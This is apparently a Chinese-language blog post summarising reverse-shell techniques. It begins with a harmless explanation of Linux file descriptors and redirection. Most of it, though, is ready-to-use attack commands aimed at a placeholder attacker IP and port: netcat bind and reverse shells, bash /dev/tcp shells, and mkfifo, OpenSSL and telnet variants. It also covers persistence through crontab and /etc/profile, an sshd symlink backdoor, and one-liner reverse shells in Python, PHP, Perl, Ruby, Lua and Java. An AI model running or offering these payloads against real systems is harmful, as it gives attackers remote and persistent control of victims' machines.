0%

反弹shell姿势总结

序言

曲径通幽处,禅房花木深。

抽空总结一下nc经典用法以及反弹shell的多种姿势。

linux文件描述符和重定向

在反弹shell的时候疑惑,神奇的&、<、>都是用来做什么的?

没错,他们就是负责将文件描述符重定向的。

文件描述符

linux跟踪打开的文件,并且分配给他一个数字,这个数字用于充当句柄。

linux启动的时候会自动启动三个文件描述符:

  1. stdin 标准输入 0 键盘
  2. stdout 标准输出 1 显示器
  3. stderr 错误输出 2 显示器

之后再打开文件,数字自动递增

并且所有的shell命令都会默认拥有这三个描述符(0,1,2)

举个例子,如果我们想要把输出的内容输出到文件中,或者想从文件中读取输入,我们需要的是:

修改数字 ,将文件描述符重定向。

重定向

两种:

  1. 输入重定向 <
  2. 输出重定向 >

记忆方法:在命令行中,命令总是在左侧,而重定向符号“指向”数据流动

默认的重定向会覆盖文件内容,如果想追加 ,可以<< 、>>

一般0、1、2都写在左侧

当解析器解析到重定向符号的话,就会先处理重定向。

就像下面这个小例子:

输入:输入流默认是0,修改了0的指向,让它指向file.txt,cat自然就会去读标准输入流

1
2
3
4
5
# 打印文件内容
cat 0< file.txt
cat < file.txt
0< file.txt cat
< file.txt cat

输出:输出流默认是1,修改了1的指向,将输出内容输出到文件file.txt中。

1
2
3
4
5
#(覆盖)
echo hello > file.txt
echo hello 1> file.txt
> file.txt echo hello
1> file.txt echo hello

将命令结果输出到文件:

1
2
mkdir &> result.txt
ls &> result.txt

文件描述符的操作

模糊输出 >& <&

正确、错误都输出到同一个地方(1,2)

文件描述符重定向

n<&m n>&m

以上两种模式都是将n复制到m,只不过分别是只读/写,两种模式

因此对于 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

2>&1 意思就是把 标准错误输出 重定向到(指向) 标准输出,

& 目的是为了区分数字名字的文件和文件描述符

如果没有&,系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

那么下面两种命令是等价的

1
2
mkdir &> result.txt
mkdir > result.txt 2>&1

命令的顺序

系统读取shell命令永远是从左到右

顺序不同导致结果不同

举个例子

1
2
3
4
mkdir > result.txt 2>&1
# 首先将标准输出重定向到了result.txt,接下来把标准错误输出指向了标准输出,等量代换,最终就是标准错误输出指向指向result.txt
mkdir 2>&1 > result.txt
# 首先将标准错误输出指向了标准输出,接下来又把标准输出指向了result.txt,导致链断掉

exec I/O重定向

exec命令就是以新的进程去代替原来的进程,但进程的PID保持不变。因此,可以这样认为,exec系统调用并没有创建新的进程,只是替换了原来进程上下文的内容。原进程的代码段,数据段,堆栈段被新的进程所代替。

举个例子:

1
2
3
4
exec 55<>test.txt # 创建一个新描述符55 该进程所有的输出重定向到result.txt文件下
ls >&55
cat test.txt # 命令都输出在test.txt里面
exec 55>&- # 销毁55号描述符

NetCat基本用法

几个重要参数:

1
2
3
4
5
-l 开启监听模式
-v 显示详细信息
-vv 显示超级详细信息
-p 本地端口
-e 程序重定向 -e /bin/sh

测试环境:

1
2
攻击机:A
受害机:B

正向连接shell

原理:

受害主机将bash交付给5555端口,攻击机连接5555端口即可

1
2
B:nc -lvvp 5555 -e /bin/sh
A:nc [A's IP] 5555

反向连接shell

原理:

攻击机打开自己的6000端口,受害主机主动把自己的shell发送给6000端口

1
2
A:nc -lvpp 6000
B:nc [A's IP] 6000 -e /bin/sh

反弹shell多种姿势

利用Bash

先写姿势:

1
2
bash -i >& /dev/tcp/ip/port 0>&1
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"

之前简单介绍了借助nc来实现,其实bash自己就可以做到发送shell

Attacker: nc -lvvp 2333

Victim: bash -i >& dev/tcp/[attacker's ip]/2333 0>&1

一步步看:

bash -i

开启交互模式

/dev/tcp/ip/port

这是一个十分特殊的文件,直接访问它是不存在的

但是如果现在有主机A在ip+port监听,那么你对它读写。就可以实现与A的socket通信

比如:

攻击机:echo “hello” > /dev/tcp/[attacker’s ip]/6000

就可以将hello通过socket通信,发送到受害者主机

再比如:

攻击机在nc -lvvp 6000开启本地端口之后,随便在键盘写点东西

这时候如果受害机cat < /dev/tcp/[attacker's ip]/6000

就可以看到刚才输入的数字

image-20210609100554103

bash -i > /dev/tcp/ip/port

这条命令就是将受害机的输出重定向到ip+port上

这时候在受害机输入任何命令,结果都会显示在攻击者主机上

image-20210609102002692

bash -i < /dev/tcp/ip/port

上一个命令仅仅是接受受害机的输入,将命令结果定向到攻击机。还差点意思

这条命令就是将受害机输入也重定向到Socket的输入

image-20210609102236985

bash -i > /dev/tcp/ip/port 0>&1

现在合二为一,这条命令解释一下就是:

顺序肯定是从左向右,首先将输出1重定向到socket,然后把输入0定向到1,也就是socket

这样一来,输入和输出都定向到了socket,也就是/dev/tcp/ip/port

这样就形成了一个回路,完成了远程shell的交互。

image-20210609104651585

但是这样在受害机还是能看到有操作痕迹,我们希望”悄无声息”的进行shell交互

这就需要用到模糊输出,以下两种格式都可以:

1
2
bash -i > /dev/tcp/ip/port 0>&1 2>&1
bash -i &> /dev/tcp/ip/port 0>&1

末尾的0>&1和0<&1除了打开方式不同 在这里没区别 看个人习惯

第二个命令里面 >& &>都可以

借助exec

1
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done

原理:

新建了一个文件描述符,标号5,让5结合exec重定向到socket

接下来,将输入设置为5指向的socket

后半段:while read line;do $line >&5 2>&1;done

拆开就是:

1
2
3
while read line
do $line >&5 2>&1
done

首先从socket中读取一行,复制给line变量

接下来执行line变量(这一行的内容),然后将结果输出到socket,done结束

类似的还可以:

1
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196

应用:

  1. 配合curl 将一句话写入受害主机的index.php 然后curl ip | bash

  2. 写入crontab定时任务,但是必须知道用户名

    一般来说,一般都是root

    centos:/var/spool/cron/root

    debian:/var/spool/cron/crontabs/root

    1
    2
    3
    4
    5
    6
    */1  *  *  *  *   /bin/bash -i>&/dev/tcp/ip/port 0>&1

    #每隔一分钟,发送shell

    # 一句话版本
    crontab -l;printf "* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -
  3. 写入/etc/profile配置文件中

    1
    /bin/bash -i >& /dev/tcp/ip/port 0>&1 &

利用NetCat

刚刚提到了,再写一遍:

受害者主机回连:

1
nc -e /bin/sh ip 4000

如果-e 参数用不了怎么办?

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4000 >/tmp/f

mkfifo首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。

还可以:

1
mknod backpipe p; nc ip 4000 0<backpipe | /bin/bash 1>backpipe 2>backpipe

利用协议

利用OpenSSL

先生成自签名证书,一路回车:

1
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

首先在攻击机上开放4000端口:

1
openssl s_server -quiet -key key.pem -cert cert.pem -port 4000

此时 OpenSSL 便在攻击机的4000端口上启动了一个 SSL/TLS server。

1
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

利用Telnet

方法1:单端口

1
2
nc -lvvp 2333
mknod a p; telnet attacker_ip 2333 0<a | /bin/bash 1>a

方法2:双端口

1
2
3
4
nc -lvvp 4000
nc -lvvp 5000
# 4000 输入 5000输出
telnet ip 4000 | /bin/bash | telnet ip 5000

利用SSH

1
2
3
4
5
受害主机执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=5000;

攻击机器:
ssh root@victim_ip -p 5000 [用户名root,密码随意]

利用各种语言脚本

攻击机ip,监听port

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

perl

1
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

ruby

1
2
3
ruby -rsocket -e 'c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}

参考

1

2

3

4

netcat用法

netcat使用方法